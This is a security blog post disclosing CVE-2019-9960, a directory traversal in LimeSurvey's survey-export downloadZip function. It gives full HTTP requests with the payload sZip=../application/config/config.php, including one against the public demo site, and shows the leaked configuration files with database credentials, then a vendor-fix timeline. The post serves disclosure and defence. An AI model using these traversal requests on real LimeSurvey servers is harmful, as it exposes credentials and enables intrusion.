Menú Security Signal

August 21, 2019

CVE-2019-9960: Arbitrary File Download in LimeSurvey

by Federico Fernandez

Prologue

Limesurvey is an open-source application written in PHP, created specifically to conduct online surveys. It is really useful for those users who lack programming knowledge, helping them to generate an environment for the collection of answers about their surveys.

A few weeks ago I found and reported an Arbitrary File Download vulnerability, which is registered as CVE-2019-9960. This vulnerability allows an Administrator to download internal files from the server, through a Directory Traversal. The vulnerability affects the versions <= 3.15.9+190214.

Until the date of the date, LimeSurvey has a total of 1.124 stars on GitHub.

 

Where is the bug?…Where is the love?

When a user exports the structure of a survey to *.lss format, a modal is generated with the “Download archive” button.

The same when it is executed, it generates a GET request to the following URL.

/index.php/admin/export/sa/downloadZip/sZip/pb46rb245xhdv8aqtpebzpbpaw5pb8

LimeSurvey uses the Pretty URL format, by means of which calls are made to different actions in the different controllers that make up the application. The previous URL is structured as follows.

On one hand, admin/export refers to the controller ./application/controllers/admin/export.php.

sa corresponds to the GET parameter that receives the name of the method to be executed, in this case, downloadZip.

Finally, sZip is the GET parameter that receives the name of the file to be downloaded: pb46rb245xhdv8aqtpebzpbpaw5pb8.

Once the user makes the HTTP request, a call is made to the controller ./application/controllers/admin/export.php in the function downloadZip().

This function receives as argument the value of the parameter “sZip“, as you can see in the code the parameter is not correctly sanitized before a Directory Traversal, so it is possible to access any type of internal files on the server.

Give me the file

Below is how it is possible to download the LimeSurvey configuration file located in ./application/config/config.php.


HTTP Request:

GET /LimeSurvey-3.15.9-190214/index.php/admin/export/sa/downloadZip/?sZip=../application/config/config.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-AR,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/LimeSurvey-3.15.9-190214/index.php/admin/survey/sa/listsurveys
Cookie: shortest-last-redirect-time=1500074341246; _ga=GA1.1.1537606638.1500074341; shortest-last-pop-under=1500074352780; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; PHPSESSID=rsh6r3jcnovp0dgs0i4dak5op3; YII_CSRF_TOKEN=WjNuR09MSWZ3Y0hoanV6M1Y1Y2wwQzJIaThZZmJMbEEK4nio9riEgrzfLfI_4GxA3fGccJytOU75JHXW7Vuo-A%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1

HTTP Response:

HTTP/1.1 200 OK
Date: Tue, 26 Mar 2019 06:04:55 GMT
Server: Apache/2.4.25 (Ubuntu)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Disposition: attachment; filename=surveys_archive.zip
Last-Modified: Tue, 26 Mar 2019 06:04:55 GMT
Content-Length: 2729
Connection: close
Content-Type: application/force-download; charset=UTF-8

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for 
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=limesurvey;password=limesurvey;dbname=limesurvey;',
'emulatePrepare' => true,
'username' => 'limesurvey',
'password' => 'limesurvey',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),

// Uncomment the following lines if you need table-based sessions.
// Note: Table-based sessions are currently not supported on MSSQL server.
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),

'urlManager' => array(
'urlFormat' => 'path',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),

),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

In older versions of Limesurvey for example in 3.15.8 the exploitation vector changes as follows. Credits for my friend Alejandro Parodi for the generation of the payload.


HTTP Request:

GET /index.php?sZip=../application/config/config.php&r=admin/export/sa/downloadZip HTTP/1.1
Host: demo.limesurvey.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://demo.limesurvey.org/index.php?r=admin/survey/sa/listsurveys/active/Y
Accept-Encoding: gzip, deflate
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=1271dn8v8kaum3i1esap4huti2; YII_CSRF_TOKEN=Y090aExYVEY1MllyZX5xREl1RE9qdDZFX2NCam13ZG0XxMSEeBdhJpz-XHL05irg2AUNbmc1Uccgag4YR_bkrQ%3D%3D

HTTP Response:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 08 Mar 2019 05:04:15 GMT
Content-Type: application/force-download; charset=UTF-8
Connection: close
Content-Disposition: attachment; filename=surveys_archive.zip
Expires: 0
Last-Modified: Fri, 08 Mar 2019 05:04:15 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Security-Policy: worker-src www.limesurvey.org 'self'; connect-src 'self'; default-src 'self' www.limesurvey.org fonts.gstatic.com; font-src 'self' fonts.gstatic.com netdna.bootstrapcdn.com github.com; form-action 'self'; frame-src www.limesurvey.org 'self' www.limesurvey.com; img-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' maps.googleapis.com ajax.googleapis.com; style-src 'self' 'unsafe-inline' fonts.googleapis.com; frame-ancestors 'self';
Content-Length: 3115

<?php if (!defined('BASEPATH')) exit('No direct script access allowed');
/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
| 'connectionString' Hostname, database, port and database type for 
| the connection. Driver example: mysql. Currently supported:
| mysql, pgsql, mssql, sqlite, oci
| 'username' The username used to connect to the database
| 'password' The password used to connect to the database
| 'tablePrefix' You can add an optional prefix, which will be added
| to the table name when using the Active Record class
|
*/
return array(
'components' => array(
'db' => array(
'connectionString' => 'mysql:host=localhost;port=3306;dbname=c1***********;',
'emulatePrepare' => true,
'username' => 'c1**********',
'password' => 'mshj34782bdbnv783***************************',
'charset' => 'utf8mb4',
'tablePrefix' => 'lime_',
),

// Uncomment the following line if you need table-based sessions
// 'session' => array (
// 'class' => 'application.core.web.DbHttpSession',
// 'connectionID' => 'db',
// 'sessionTableName' => '{{sessions}}',
// ),

'urlManager' => array(
'urlFormat' => 'get',
'rules' => array(
// You can add your own rules here
),
'showScriptName' => true,
),

),
// For security issue : it's better to set runtimePath out of web access
// Directory must be readable and writable by the webuser
// 'runtimePath'=>'/var/limesurvey/runtime/'
// Use the following config variable to set modified optional settings copied from config-defaults.php
'config'=>array(
// debug: Set this to 1 if you are looking for errors. If you still get no errors after enabling this
// then please check your error-logs - either in your hosting provider admin panel or in some /logs directory
// on your webspace.
// LimeSurvey developers: Set this to 2 to additionally display STRICT PHP error messages and get full access to standard templates
'debug'=>0,
'debugsql'=>0, // Set this to 1 to enanble sql logging, only active when debug = 2
// Update default LimeSurvey config here
"demoMode" => true,
"demoModePrefill" => true,
"defaultuser" => 'demo',
"defaultpass" => 'demo',
'force_ssl'=>'on',
'usePluginWhitelist' => true,
'pluginCoreList' => [
'AuditLog',
'ExportR',
'ExportSTATAxml',
'extendedStartPage',
'oldUrlCompat',
'Authdb',
]
)
);
/* End of file config.php */
/* Location: ./application/config/config.php */

Timeline

  • 2019-03-08 Vulnerability to the vendor was reported.
  • 2019-03-08 Vendor said thanks!.
  • 2019-03-14  Fix released

References